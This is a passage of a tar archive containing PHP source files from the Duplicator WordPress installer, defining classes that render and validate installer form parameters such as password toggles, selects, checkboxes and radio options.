0012305 0 ustar 00 <?php /** * param descriptor * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Items; /** * this class manages a password type input with the hide / show password button */ class ParamFormPass extends ParamForm { const FORM_TYPE_PWD_TOGGLE = 'pwdtoggle'; /** * Render HTML * * @return void */ protected function htmlItem() { if ($this->formType == self::FORM_TYPE_PWD_TOGGLE) { $this->pwdToggleHtml(); } else { parent::htmlItem(); } } /** * return the text of current object for info only status * * @return string */ protected function valueToInfo() { return '**********'; } /** * Render PWD toggle element * * @return void */ protected function pwdToggleHtml() { $attrs = array( 'value' => $this->getInputValue(), ); if ($this->isDisabled()) { $attrs['disabled'] = 'disabled'; } if ($this->isReadonly()) { $attrs['readonly'] = 'readonly'; } if (!is_null($this->formAttr['maxLength'])) { $attrs['maxLength'] = $this->formAttr['maxLength']; } if (!is_null($this->formAttr['size'])) { $attrs['size'] = $this->formAttr['size']; } $attrs = array_merge($attrs, $this->formAttr['attr']); \DUPX_U_Html::inputPasswordToggle($this->getAttrName(), $this->formAttr['id'], $this->formAttr['classes'], $attrs, true); } /** * Get default form attributes * * @param string $formType form type * * @return array */ protected static function getDefaultAttrForFormType($formType) { $attrs = parent::getDefaultAttrForFormType($formType); if ($formType == self::FORM_TYPE_PWD_TOGGLE) { $attrs['maxLength'] = null; // if null have no limit $attrs['size'] = null; } return $attrs; } } Params/Items/ParamOption.php 0000644 00000006235 15136236440 0012024 0 ustar 00 <?php /** * option descriptor for select, radio, multiple checkbox ... * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Items; /** * this class describes the options for select, radio and multiple checboxes */ class ParamOption { const OPT_ENABLED = 'enabled'; const OPT_DISABLED = 'disabled'; const OPT_HIDDEN = 'hidden'; public $value = ''; public $label = ''; public $attrs = array(); protected $optStatus = self::OPT_ENABLED; protected $note = ''; protected $groupLabel = ''; /** * Class constructor * * @param mixed $value option value * @param string $label label * @param string|function $optStatus option status. can be a fixed status or a callback * @param array $attrs option attributes */ public function __construct($value, $label, $optStatus = self::OPT_ENABLED, $attrs = array()) { $this->value = $value; $this->label = $label; $this->optStatus = $optStatus; $this->attrs = (array) $attrs; } /** * get current statis. * * @return string */ public function getStatus() { if (is_callable($this->optStatus)) { return call_user_func($this->optStatus, $this); } else { return $this->optStatus; } } /** * Set options status * * @param string|callable $optStatus option status. can be a fixed status or a callback * * @return void */ public function setStatus($optStatus) { $this->optStatus = $optStatus; } /** * Set option note * * @param string|callable $note option note * * @return void */ public function setNote($note) { $this->note = is_callable($note) ? $note : ((string) $note); } /** * * @return string */ public function getNote() { $note = ''; if (is_callable($this->note)) { $note = call_user_func($this->note, $this); } else { $note = $this->note; } return (empty($note) ? '' : '<div class="sub-note" >' . $note . '</div>'); } /** * Set option group, used on select * * @param string $label optiongroup label is empty reset option * * @return void */ public function setOptGroup($label) { $this->groupLabel = (string) $label; } /** * Return option group label, empty if not set * * @return string */ public function getOptGroup() { return $this->groupLabel; } /** * * @return bool */ public function isEnable() { return $this->getStatus() == self::OPT_ENABLED; } /** * * @return bool */ public function isDisabled() { return $this->getStatus() == self::OPT_DISABLED; } /** * * @return bool */ public function isHidden() { return $this->getStatus() == self::OPT_HIDDEN; } } Params/Items/ParamForm.php 0000644 00000117344 15136236440 0011463 0 ustar 00 <?php /** * param descriptor * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Items; use Duplicator\Libs\Upsell; use DUPX_U; use Exception; /** * This class extends ParamItem describing how the parameter should be handled within the form. */ class ParamForm extends ParamItem { const FORM_TYPE_HIDDEN = 'hidden'; const FORM_TYPE_TEXT = 'text'; const FORM_TYPE_NUMBER = 'number'; const FORM_TYPE_SELECT = 'sel'; const FORM_TYPE_CHECKBOX = 'check'; const FORM_TYPE_SWITCH = 'switch'; const FORM_TYPE_M_CHECKBOX = 'mcheck'; const FORM_TYPE_RADIO = 'radio'; const FORM_TYPE_BGROUP = 'bgroup'; const STATUS_ENABLED = 'st_enabled'; const STATUS_READONLY = 'st_readonly'; const STATUS_DISABLED = 'st_disabled'; const STATUS_INFO_ONLY = 'st_infoonly'; const STATUS_SKIP = 'st_skip'; protected $formType = null; protected $formAttr = array(); /** * Class constructor * * @param string $name param identifier * @param string $type TYPE_STRING | TYPE_ARRAY_STRING | ... * @param string $formType FORM_TYPE_HIDDEN | FORM_TYPE_TEXT | ... * @param array $attr list of attributes * @param array $formAttr list of form attributes */ public function __construct($name, $type, $formType, $attr = null, $formAttr = array()) { if ($type == self::TYPE_ARRAY_MIXED) { throw new \Exception('array myxed can\'t be a ParamForm'); } parent::__construct($name, $type, $attr); $defaultAttr = static::getDefaultAttrForFormType($formType); $this->formAttr = array_merge($defaultAttr, (array) $formAttr); if (isset($formAttr['classes'])) { $this->formAttr['classes'] = array_merge($defaultAttr['classes'], (array) $formAttr['classes']); } if (isset($formAttr['labelClasses'])) { $this->formAttr['labelClasses'] = array_merge($defaultAttr['labelClasses'], (array) $formAttr['labelClasses']); } if (isset($formAttr['wrapperClasses'])) { $this->formAttr['wrapperClasses'] = array_merge($defaultAttr['wrapperClasses'], (array) $formAttr['wrapperClasses']); } if (isset($formAttr['inputContainerClasses'])) { $this->formAttr['inputContainerClasses'] = array_merge($defaultAttr['inputContainerClasses'], (array) $formAttr['inputContainerClasses']); } if (strlen($this->formAttr['label']) == 0) { throw new Exception('Param ' . $name . ' must have label (user renderLabel to hide it)'); } if ($this->formAttr['renderLabel']) { $this->formAttr['wrapperClasses'][] = 'has-main-label'; } $this->formType = $formType; if (empty($this->formAttr['id'])) { $this->formAttr['id'] = 'param_item_' . $name; } if (empty($this->formAttr['wrapperId'])) { $this->formAttr['wrapperId'] = 'wrapper_item_' . $name; } //Log::infoObject('PARAM INIZIALIZED ['.$this->name.']', $this, Log::LV_DEFAULT); } /** * Return param label * * @return string */ public function getLabel() { if (!empty($this->formAttr['label'])) { return $this->formAttr['label']; } else { return parent::getLabel(); } } /** * get the input id (input, select ... ) * normally it depends on the name of the object but can be perosnalizzato through formAttrs * * @return string */ public function getFormItemId() { return $this->formAttr['id']; } /** * return the input wrapper id if isn't empty or false * normally it depends on the name of the object but can be perosnalizzato through formAttrs * * @return string */ /** * return the input wrapper id if isn't empty or false * normally it depends on the name of the object but can be perosnalizzato through formAttrs * * @return string */ public function getFormWrapperId() { return empty($this->formAttr['wrapperId']) ? false : $this->formAttr['wrapperId']; } /** * return current form status * * @return string // STATUS_ENABLED | STATUS_READONLY ... */ public function getFormStatus() { if (is_callable($this->formAttr['status'])) { return call_user_func($this->formAttr['status'], $this); } else { return $this->formAttr['status']; } } /** * Add html class at param wrapper container * * @param string $class class string * * @return void */ public function addWrapperClass($class) { if (!in_array($class, $this->formAttr['wrapperClasses'])) { $this->formAttr['wrapperClasses'][] = $class; } } /** * Remove html class at param wrapper container * * @param string $class class string * * @return void */ public function removeWrapperClass($class) { if (in_array($class, $this->formAttr['wrapperClasses'])) { unset($this->formAttr['wrapperClasses'][$class]); } } /** * This function can be extended in child classes * * @return string */ protected function getAttrName() { return $this->name; } /** * this function renturn a hidden name for support checkbox input * * @return string */ protected function getAttrHiddenName() { return $this->getAttrName() . '_is_input'; } /** * this function can be extended in child classes * * @return mixed */ protected function getInputValue() { return $this->value; } /** * Return a copy of this object with a new name ad overwrite attr * * @param string $newName new param name * @param array $attr param attributes * @param array $formAttr form attributes * * @return self */ public function getCopyWithNewName($newName, $attr = array(), $formAttr = array()) { $copy = parent::getCopyWithNewName($newName, $attr); $reflect = new \ReflectionObject($copy); $formAttrProp = $reflect->getProperty('formAttr'); $formAttrProp->setAccessible(true); $newAttr = $formAttrProp->getValue($copy); $newAttr['id'] = 'param_item_' . $newName; $newAttr['wrapperId'] = 'wrapper_item_' . $newName; $newAttr = array_merge($newAttr, $formAttr); if (isset($newAttr['options']) && is_array($newAttr['options'])) { $options = $newAttr['options']; $newAttr['options'] = array(); foreach ($options as $key => $option) { if (is_object($option)) { $newAttr['options'][$key] = clone $option; } else { $newAttr['options'][$key] = $option; } } } $formAttrProp->setValue($copy, $newAttr); return $copy; } /** * * @return bool */ public function isEnabled() { return $this->getFormStatus() == self::STATUS_ENABLED; } /** * * @return bool */ public function isSkip() { return $this->getFormStatus() == self::STATUS_SKIP; } /** * * @return bool */ public function isDisabled() { return $this->getFormStatus() == self::STATUS_DISABLED; } /** * * @return bool */ public function isReadonly() { return $this->getFormStatus() == self::STATUS_READONLY; } /** * Return true if the passed value is in current value if type is array or equal if is scalar * * @param mixed $value value to check * @param mixed $inputValue current selected value/s * * @return bool */ protected static function isValueInValue($value, $inputValue) { if (is_null($inputValue) || is_scalar($inputValue)) { return $value == $inputValue; } else { return in_array($value, $inputValue); } } /** * Display the html input of current item * * @return void */ protected function htmlItem() { switch ($this->formType) { case self::FORM_TYPE_HIDDEN: $this->hiddenHtml(); break; case self::FORM_TYPE_TEXT: $this->inputHtml('text'); break; case self::FORM_TYPE_NUMBER: $this->inputHtml('number'); break; case self::FORM_TYPE_SELECT: $this->selectHtml(); break; case self::FORM_TYPE_CHECKBOX: $this->checkBoxHtml(false); break; case self::FORM_TYPE_SWITCH: $this->checkBoxHtml(true); break; case self::FORM_TYPE_M_CHECKBOX: $this->mCheckBoxHtml(); break; case self::FORM_TYPE_RADIO: $this->radioHtml(); break; case self::FORM_TYPE_BGROUP: $this->bgroupHtml(); break; default: throw new \Exception('ITEM ERROR ' . $this->name . ' Invalid form type ' . $this->formType); } } /** * Return form attribute * * @param string $key form attribute key * * @return mixed */ public function getFormAttr($key) { return $this->formAttr[$key]; } /** * Set form attribute * * @param string $key form attribute key * @param mixed $value value * * @return void */ public function setFormAttr($key, $value) { $this->formAttr[$key] = $value; } /** * Get param options * * @return ParamOption[] */ protected function getOptions() { if (!isset($this->formAttr['options'])) { return array(); } elseif (is_callable($this->formAttr['options'])) { return call_user_func($this->formAttr['options'], $this); } else { return $this->formAttr['options']; } } /** * Update option status * * @param int $index option index * @param string $status option status * * @return void */ public function setOptionStatus($index, $status) { if (is_array($this->formAttr['options']) && isset($this->formAttr['options'][$index])) { $this->formAttr['options'][$index]->setStatus($status); } } /** * Html of current item if the status if info only * * @return void */ protected function infoOnlyHtml() { $attrs = array( 'id' => $this->formAttr['id'] ); $classes = array_merge(array('input-info-only'), $this->formAttr['classes']); $attrs['class'] = implode(' ', $classes); ?> <span <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <?php echo \DUPX_U::esc_html($this->valueToInfo()); ?> </span> <?php } /** * return the text of current object fot info only status * * @return string */ protected function valueToInfo() { switch ($this->formType) { case self::FORM_TYPE_SELECT: case self::FORM_TYPE_M_CHECKBOX: $optionsLabels = array(); foreach ($this->getOptions() as $option) { if (self::isValueInValue($option->value, $this->getInputValue())) { $optionsLabels[] = $option->label; } } return implode(', ', $optionsLabels); case self::FORM_TYPE_CHECKBOX: $result = ''; if (self::isValueInValue($this->formAttr['checkedValue'], $this->getInputValue())) { $result = '[enabled]'; } else { $result = '[disabled]'; } return $result . ' ' . $this->formAttr['checkboxLabel']; case self::FORM_TYPE_RADIO: case self::FORM_TYPE_BGROUP: $optionsLabels = array(); foreach ($this->getOptions() as $option) { if (self::isValueInValue($option->value, $this->getInputValue())) { return $option->label; } } return '[disabled]'; case self::FORM_TYPE_HIDDEN: case self::FORM_TYPE_TEXT: case self::FORM_TYPE_NUMBER: default: if (is_null($this->getInputValue()) || is_scalar($this->getInputValue())) { return \DUPX_U::esc_html($this->getInputValue()); } else { return \DUPX_U::esc_html(implode(',', $this->getInputValue())); } } } /** * Get html form option of current item * * @param bool $echo if true echo html * * @return string */ public function getHtml($echo = true) { if ($this->isSkip() === true) { return ''; } ob_start(); try { $this->htmlItemBefore(); if ($this->getFormStatus() == self::STATUS_INFO_ONLY) { $this->infoOnlyHtml(); } else { $this->htmlItem(); } $this->htmlItemAfter(); } catch (\Exception $e) { ob_end_flush(); throw $e; } if ($echo) { ob_end_flush(); return ''; } else { return ob_get_clean(); } } /** * Input item before (wrapper input and label) * * @return void */ protected function htmlItemBefore() { if (!empty($this->formAttr['wrapperTag'])) { $wrapperAttrs = array(); if (!empty($this->formAttr['wrapperId'])) { $wrapperAttrs['id'] = $this->formAttr['wrapperId']; } $tmpWrapperClasses = $this->formAttr['wrapperClasses']; if ($this->isDisabled()) { $tmpWrapperClasses[] = 'param-wrapper-disabled'; } if ($this->isReadonly()) { $tmpWrapperClasses[] = 'param-wrapper-readonly'; } if ($this->isEnabled()) { $tmpWrapperClasses[] = 'param-wrapper-enabled'; } if (!empty($tmpWrapperClasses)) { $wrapperAttrs['class'] = implode(' ', $tmpWrapperClasses); } foreach ($this->formAttr['wrapperAttr'] as $attrName => $attrVal) { $wrapperAttrs[$attrName] = $attrVal; } echo '<' . $this->formAttr['wrapperTag'] . ' ' . \DUPX_U_Html::arrayAttrToHtml($wrapperAttrs) . ' >'; if (!empty($this->formAttr['wrapperContainerTag'])) { echo '<' . $this->formAttr['wrapperContainerTag'] . ' class="container" >'; } } $this->getLabelHtml(); $this->htmlInputContBefore(); if (!empty($this->formAttr['inputContainerTag'])) { echo '<span class="' . implode(' ', $this->formAttr['inputContainerClasses']) . '">'; } } /** * function called between label and input container * used on extended classes * * @return void */ protected function htmlInputContBefore() { } /** * function calle after input container * used on extended classes * * @return void */ protected function htmlInputContAfter() { } /** * input item after (close wrapper) * * @return void */ protected function htmlItemAfter() { if (!empty($this->formAttr['inputContainerTag'])) { echo '</span>'; } $this->htmlInputContAfter(); if (!empty($this->formAttr['wrapperTag'])) { if (!empty($this->formAttr['wrapperContainerTag'])) { echo '</' . $this->formAttr['wrapperContainerTag'] . '>'; } echo $this->getSubNote(); echo '</' . $this->formAttr['wrapperTag'] . '>'; } else { echo $this->getSubNote(); } } /** * * @return string */ protected function getSubNote() { if (is_callable($this->formAttr['subNote'])) { $subNote = call_user_func($this->formAttr['subNote'], $this); } else { $subNote = $this->formAttr['subNote']; } return empty($subNote) ? '' : '<div class="sub-note" >' . $subNote . '</div>'; } /** * Return postfix element data * * @param array $data postix element data * * @return array */ protected function prefixPostfixElem($data) { $default = array( 'type' => 'none', 'label' => null, 'id' => null, 'btnAction' => null, 'attrs' => array() ); if (is_callable($data)) { $element = call_user_func($data, $this); } else { $element = $data; } if (is_array($element)) { return array_merge($default, $element); } else { return $default; } } /** * Return prefix element data * * @return array */ protected function getPrefix() { return $this->prefixPostfixElem($this->formAttr['prefix']); } /** * Return postifx element data * * @return array */ protected function getPostfix() { return $this->prefixPostfixElem($this->formAttr['postfix']); } /** * html if type is hidden * * @return void */ protected function hiddenHtml() { $attrs = array( 'id' => $this->formAttr['id'], 'name' => $this->getAttrName(), 'value' => $this->getInputValue() ); if ($this->isDisabled()) { $attrs['disabled'] = 'disabled'; } if (!empty($this->formAttr['classes'])) { $attrs['class'] = implode(' ', $this->formAttr['classes']); } $attrs = array_merge($attrs, $this->formAttr['attr']); ?> <input type="hidden" <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <?php } /** * HTML if type is input (text/number) * * @param string $type input type * * @return void */ protected function inputHtml($type) { $attrs = array( 'type' => $type, 'id' => $this->formAttr['id'], 'name' => $this->getAttrName(), 'value' => $this->getInputValue() ); if ($this->isDisabled()) { $attrs['disabled'] = 'disabled'; } if ($this->isReadonly()) { $attrs['readonly'] = 'readonly'; } if (!is_null($this->formAttr['maxLength'])) { $attrs['maxLength'] = $this->formAttr['maxLength']; } if (!is_null($this->formAttr['size'])) { $attrs['size'] = $this->formAttr['size']; } if (isset($this->formAttr['min']) && !is_null($this->formAttr['min'])) { $attrs['min'] = $this->formAttr['min']; } if (isset($this->formAttr['max']) && !is_null($this->formAttr['max'])) { $attrs['max'] = $this->formAttr['max']; } if (isset($this->formAttr['step']) && !is_null($this->formAttr['step'])) { $attrs['step'] = $this->formAttr['step']; } if (!empty($this->formAttr['classes'])) { $attrs['class'] = implode(' ', $this->formAttr['classes']); } $prefixHtml = self::getPrefixPostfixHtml($this->getPrefix(), 'prefix'); $postfixHtml = self::getPrefixPostfixHtml($this->getPostfix(), 'postfix'); $isPrePostFix = (strlen($prefixHtml) > 0 || strlen($postfixHtml) > 0); $attrs = array_merge($attrs, $this->formAttr['attr']); if ($isPrePostFix) { ?> <span class="input-postfix-btn-group"> <?php } echo $prefixHtml; ?> <input <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <?php echo $postfixHtml; if ($isPrePostFix) { ?> </span> <?php } } /** * Get pre-post fix element html * * @param array $element element data * @param string $class element class * * @return string */ protected static function getPrefixPostfixHtml($element, $class) { if ($element['type'] == 'none') { return ''; } $attrs = array('class' => $class); switch ($element['type']) { case 'button': $tag = 'button'; $attrs['type'] = 'button'; if (!empty($element['btnAction'])) { $attrs['onclick'] = $element['btnAction']; } break; case 'label': default: $tag = 'span'; break; } if (!empty($element['id'])) { $attrs['id'] = $element['id']; } $attrs = array_merge($attrs, $element['attrs']); return '<' . $tag . ' ' . \DUPX_U_Html::arrayAttrToHtml($attrs) . '>' . $element['label'] . '</' . $tag . '>'; } /** * HTML if type is select * * @return void */ protected function selectHtml() { $attrs = array( 'id' => $this->formAttr['id'], 'name' => $this->getAttrName() . ($this->formAttr['multiple'] ? '[]' : ''), ); if (!empty($this->formAttr['classes'])) { $attrs['class'] = implode(' ', $this->formAttr['classes']); } if ($this->isDisabled()) { $attrs['disabled'] = 'disabled'; } if ($this->isReadonly()) { $attrs['readonly'] = 'readonly'; } if ($this->formAttr['multiple']) { $attrs['multiple'] = ''; } $attrs['size'] = $this->formAttr['size'] == 0 ? count($this->getOptions()) : $this->formAttr['size']; $attrs = array_merge($attrs, $this->formAttr['attr']); ?> <select <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <?php self::renderSelectOptions($this->getOptions(), $this->getInputValue()); ?> </select> <?php } /** * Render select options * * @param ParamOption[] $options options list * @param mixed $inputValue selected values * * @return void */ protected static function renderSelectOptions($options, $inputValue) { $lastOptGroup = ''; $autoSelectFirst = (count($options) == 1); foreach ($options as $option) { if ($option->isHidden()) { continue; } if ($lastOptGroup !== $option->getOptGroup()) { if (strlen($lastOptGroup) > 0) { ?></optgroup><?php } if (strlen($option->getOptGroup()) > 0) { ?><optgroup label="<?php echo DUPX_U::esc_attr($option->getOptGroup()); ?>"><?php } $lastOptGroup = $option->getOptGroup(); } $optAttr = array( 'value' => $option->value ); if ($option->isDisabled()) { $optAttr['disabled'] = 'disabled'; } elseif ( self::isValueInValue($option->value, $inputValue) || $autoSelectFirst ) { // can't be selected if is disabled $optAttr['selected'] = 'selected'; } $optAttr = array_merge($optAttr, (array) $option->attrs); ?> <option <?php echo \DUPX_U_Html::arrayAttrToHtml($optAttr); ?> > <?php echo $option->label; ?> </option> <?php } if (strlen($lastOptGroup) > 0) { ?></optgroup><?php } } /** * Render checkbox element * * @param bool $switch if true render switch else input checkbox * * @return void */ protected function checkBoxHtml($switch) { $attrs = array( 'id' => $this->formAttr['id'], 'name' => $this->getAttrName(), 'value' => $this->formAttr['checkedValue'] ); if (!empty($this->formAttr['classes'])) { $attrs['class'] = implode(' ', $this->formAttr['classes']); } if ($this->isDisabled()) { $attrs['disabled'] = 'disabled'; } if ($this->isReadonly()) { $attrs['readonly'] = 'readonly'; } if (self::isValueInValue($this->formAttr['checkedValue'], $this->getInputValue())) { $attrs['checked'] = 'checked'; } $attrs = array_merge($attrs, $this->formAttr['attr']); $hiddenAttrs = array( 'name' => $this->getAttrHiddenName(), 'value' => true ); if ($switch) { \DUPX_U_Html::checkboxSwitch($attrs); } else { ?> <input type="checkbox" <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <?php } ?> <span class="label-checkbox" ><?php echo $this->formAttr['checkboxLabel']; ?></span> <input type="hidden" <?php echo \DUPX_U_Html::arrayAttrToHtml($hiddenAttrs); ?> > <?php } /** * html if type is multiple checkboxes * * @return void */ protected function mCheckBoxHtml() { /* * for radio don't use global attr but option attr * $attrs = array_merge($attrs, $this->formAttr['attr']); */ foreach ($this->getOptions() as $index => $option) { $attrs = array( 'id' => $this->formAttr['id'] . '_' . $index, 'name' => $this->getAttrName() . '[]', 'value' => $option->value ); if (!empty($this->formAttr['classes'])) { $attrs['class'] = implode(' ', $this->formAttr['classes']); } if (self::isValueInValue($option->value, $this->getInputValue())) { $attrs['checked'] = 'checked'; } if ($this->isReadonly()) { $attrs['readonly'] = 'readonly'; } if ($this->isDisabled() || $option->isDisabled()) { $attrs['disabled'] = 'disabled'; } $attrs = array_merge($attrs, $option->attrs); if (!empty($attrs['title'])) { $labelTtile = ' title="' . \DUPX_U::esc_attr($attrs['title']) . '"'; unset($attrs['title']); } else { $labelTtile = ''; } ?> <label class="option-group" <?php echo $labelTtile; ?>> <input type="checkbox" <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <span class="label-checkbox" > <?php echo $option->label; ?> </span> </label> <?php } } /** * html if type is radio * * @return void */ protected function radioHtml() { /* * for radio don't use global attr but option attr * $attrs = array_merge($attrs, $this->formAttr['attr']); */ foreach ($this->getOptions() as $index => $option) { if ($option->isHidden()) { continue; } $attrs = array( 'id' => $this->formAttr['id'] . '_' . $index, 'name' => $this->getAttrName(), 'value' => $option->value ); $optionGroupClasses = 'option-group'; if (!empty($this->formAttr['classes'])) { $attrs['class'] = implode(' ', $this->formAttr['classes']); } if (self::isValueInValue($option->value, $this->getInputValue())) { $attrs['checked'] = 'checked'; } if ($this->isReadonly()) { $attrs['readonly'] = 'readonly'; } if ($this->isDisabled() || $option->isDisabled()) { $attrs['disabled'] = 'disabled'; } if ($option->isDisabled()) { $optionGroupClasses .= ' option-disabled'; } $attrs = array_merge($attrs, $option->attrs); if (!empty($attrs['title'])) { $labelTtile = ' title="' . \DUPX_U::esc_attr($attrs['title']) . '"'; unset($attrs['title']); } else { $labelTtile = ''; } ?> <label class="<?php echo $optionGroupClasses; ?>" <?php echo $labelTtile; ?>> <input type="radio" <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <span class="label-checkbox" > <?php echo $option->label; ?> </span> <?php echo $option->getNote(); ?> </label> <?php } } /** * html if type is button * * @return void */ protected function bgroupHtml() { /* * for radio don't use global attr but option attr * $attrs = array_merge($attrs, $this->formAttr['attr']); */ $this->hiddenHtml(); foreach ($this->getOptions() as $index => $option) { if ($option->isHidden()) { continue; } $attrs = array( 'id' => $this->formAttr['id'] . '_' . $index, 'value' => $option->value, 'class' => $this->formAttr['id'] . '_button ' . implode(' ', $this->formAttr['classes']) ); if (self::isValueInValue($option->value, $this->getInputValue())) { $attrs['class'] .= ' active'; } if ($this->isReadonly()) { $attrs['readonly'] = 'readonly'; } if ($this->isDisabled() || $option->isDisabled()) { $attrs['disabled'] = 'disabled'; } $attrs = array_merge($attrs, $option->attrs); if (!empty($attrs['title'])) { $labelTtile = ' title="' . \DUPX_U::esc_attr($attrs['title']) . '"'; unset($attrs['title']); } else { $labelTtile = ''; } ?> <button type="button" <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?>> <?php echo $option->label; ?> </button> <?php } } /** * get current label html * * @param bool $echo if true echo HTML * * @return string */ protected function getLabelHtml($echo = true) { if ($this->formAttr['renderLabel'] == false) { return ''; } $attrs = array(); if (!empty($this->formAttr['labelClasses'])) { $attrs['class'] = implode(' ', $this->formAttr['labelClasses']); } ob_start(); ?> <span <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <?php echo (strlen($this->formAttr['label']) == 0 ? ' ' : \DUPX_U::esc_html($this->formAttr['label'])); if (strlen($this->formAttr['inlineHelp']) > 0) { $helpTitle = (strlen($this->formAttr['inlineHelpTitle']) ? $this->formAttr['inlineHelpTitle'] : rtrim($this->formAttr['label'], ':')); ?> <i class="fas fa-question-circle fa-sm param-inline-help-icon" data-tooltip-title="<?php echo DUPX_U::esc_attr($helpTitle);?>" data-tooltip="<?php echo DUPX_U::esc_attr($this->formAttr['inlineHelp']); ?>" ></i> <?php } if (strlen($this->formAttr['proFlag']) > 0) { $flagTitle = (strlen($this->formAttr['proFlagTitle']) ? $this->formAttr['proFlagTitle'] : rtrim($this->formAttr['label'], ':')); ?><sup class="pro-flag" data-tooltip-title="<?php echo DUPX_U::esc_attr($flagTitle);?>" data-tooltip="<?php echo DUPX_U::esc_attr($this->formAttr['proFlag'] . Upsell::getCampaignTooltipHTML(array('utm_medium' => 'installer', 'utm_content' => 'option_' . $this->name))); ?>" >*</sup> <?php } ?> </span> <?php if ($echo) { ob_end_flush(); return ''; } else { return ob_get_clean(); } } /** * Set value from array. This function is used to set data from json array * * @param array $data form data * * @return boolean */ public function fromArrayData($data) { $result = parent::fromArrayData($data); if (isset($data['formStatus'])) { $this->formAttr['status'] = $data['formStatus']; } return $result; } /** * return array dato to store in json array data * * @return array */ public function toArrayData() { $result = parent::toArrayData(); if (!is_callable($this->formAttr['status'])) { $result['formStatus'] = $this->getFormStatus(); } return $result; } /** * update the value from input if exists ot set the default * sanitation and validation are performed * skip set value if current status is disabled, info only or skip * * @param string $method query string method (POST, GET) * * @return boolean false if value isn't validated */ public function setValueFromInput($method = self::INPUT_POST) { // if input is disabled don't reads from input. if ( $this->getFormStatus() == self::STATUS_INFO_ONLY || $this->getFormStatus() == self::STATUS_SKIP ) { return true; } // prevent overwrite by default if item is disable and isn't enable in client by js $superObject = self::getSuperObjectByMethod($method); if ($this->getFormStatus() == self::STATUS_DISABLED && !$this->isValueInInput($superObject)) { return true; } // prevent overwrite by default if checkbox isn't in form if (($this->formType === self::FORM_TYPE_CHECKBOX || $this->formType === self::FORM_TYPE_SWITCH) && !isset($superObject[$this->getAttrName()])) { if (!isset($superObject[$this->getAttrHiddenName()]) || !$superObject[$this->getAttrHiddenName()]) { return true; } } elseif (!isset($superObject[$this->name])) { return true; } return parent::setValueFromInput($method); } /** * this function return the default formAttr for each type. * in the constructor an array merge is made between the result of this function and the parameters passed. * In this way the values in $ this -> ['attr'] are always consistent. * * @param string $formType form type * * @return array */ protected static function getDefaultAttrForFormType($formType) { $attrs = array( 'label' => null, // input main label, 'renderLabel' => true, // if false don\'t render label 'labelClasses' => array('label', 'main-label'), // label classes (the label html is <span class="classes" >label</span> 'id' => null, // input id , if null the default is 'param_item_'.$name 'classes' => array('input-item'), // input classes 'status' => self::STATUS_ENABLED, // form status 'title' => null, // input title 'attr' => array(), // custom input attributes key="VALUE" 'inlineHelpTitle' => '', 'inlineHelp' => '', 'proFlagTitle' => '', 'proFlag' => '', 'subNote' => null, // sub note container (html string), 'wrapperTag' => 'div', // if null the input haven't the wrapper tag. // input tag wrapper, wrapper html is // ~ <TAG class="classes" ><CONTAINER><LABEL><INPUT CONTAINER></CONTAINER></TAG> 'wrapperId' => null, // input wrapper id, if null the default is 'wrapper_item_'.$name 'wrapperClasses' => array(// wrapper classes, param-wrapper generic class plus 'param-form-type-'.$formType type class 'param-wrapper', 'param-form-type-' . $formType), 'wrapperAttr' => array(), // custom wrapper attributes key="VALUE" 'wrapperContainerTag' => 'label', 'inputContainerTag' => 'span', 'inputContainerClasses' => array('input-container'), ); switch ($formType) { case self::FORM_TYPE_HIDDEN: $attrs['wrapperTag'] = null; // disable wrapper for hidden inputs $attrs['wrapperContainerTag'] = null; $attrs['inputContainerTag'] = null; break; case self::FORM_TYPE_NUMBER: $attrs['min'] = null; // attr min $attrs['max'] = null; // attr max $attrs['step'] = null; // attr step // continue form type text case self::FORM_TYPE_TEXT: $attrs['maxLength'] = null; // if null have no limit $attrs['size'] = null; $attrs['prefix'] = array( 'type' => 'none', // none | button | label 'label' => null, 'id' => null, 'btnAction' => null, 'attrs' => array() ); $attrs['postfix'] = array( 'type' => 'none', // none | button | label 'label' => null, 'id' => null, 'btnAction' => null, 'attrs' => array() ); break; case self::FORM_TYPE_SELECT: $attrs['classes'][] = 'js-select'; $attrs['multiple'] = false; $attrs['options'] = array(); // ParamOption[] | callback $attrs['size'] = 1; // select size if 0 get num options break; case self::FORM_TYPE_CHECKBOX: case self::FORM_TYPE_SWITCH: $attrs['checkboxLabel'] = null; $attrs['checkedValue'] = true; break; case self::FORM_TYPE_M_CHECKBOX: $attrs['options'] = array(); // ParamOption[] | callback $attrs['wrapperContainerTag'] = 'div'; break; case self::FORM_TYPE_RADIO: $attrs['options'] = array(); // ParamOption[] | callback $attrs['wrapperContainerTag'] = 'div'; break; case self::FORM_TYPE_BGROUP: $attrs['options'] = array(); // ParamOption[] | callback $attrs['wrapperContainerTag'] = 'span'; $attrs['inputContainerClasses'] = array('input-container', 'btn-group'); break; default: // accepts unknown values because this class can be extended } return $attrs; } } Params/Items/ParamFormWpConfig.php 0000644 00000014545 15136236440 0013117 0 ustar 00 <?php /** * param descriptor * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Items; use Duplicator\Installer\Utils\Log\Log; /** * this class manages a password type input with the hide / show passwrd button */ class ParamFormWpConfig extends ParamForm { const IN_WP_CONF_POSTFIX = '_inwpc'; /** * Class constructor * * @param string $name param identifier * @param string $type TYPE_STRING | TYPE_ARRAY_STRING | ... * @param string $formType FORM_TYPE_HIDDEN | FORM_TYPE_TEXT | ... * @param array $attr list of attributes * @param array $formAttr list of form attributes */ public function __construct($name, $type, $formType, $attr = null, $formAttr = array()) { parent::__construct($name, $type, $formType, $attr, $formAttr); $this->attr['defaultFromInput'] = $this->attr['default']; 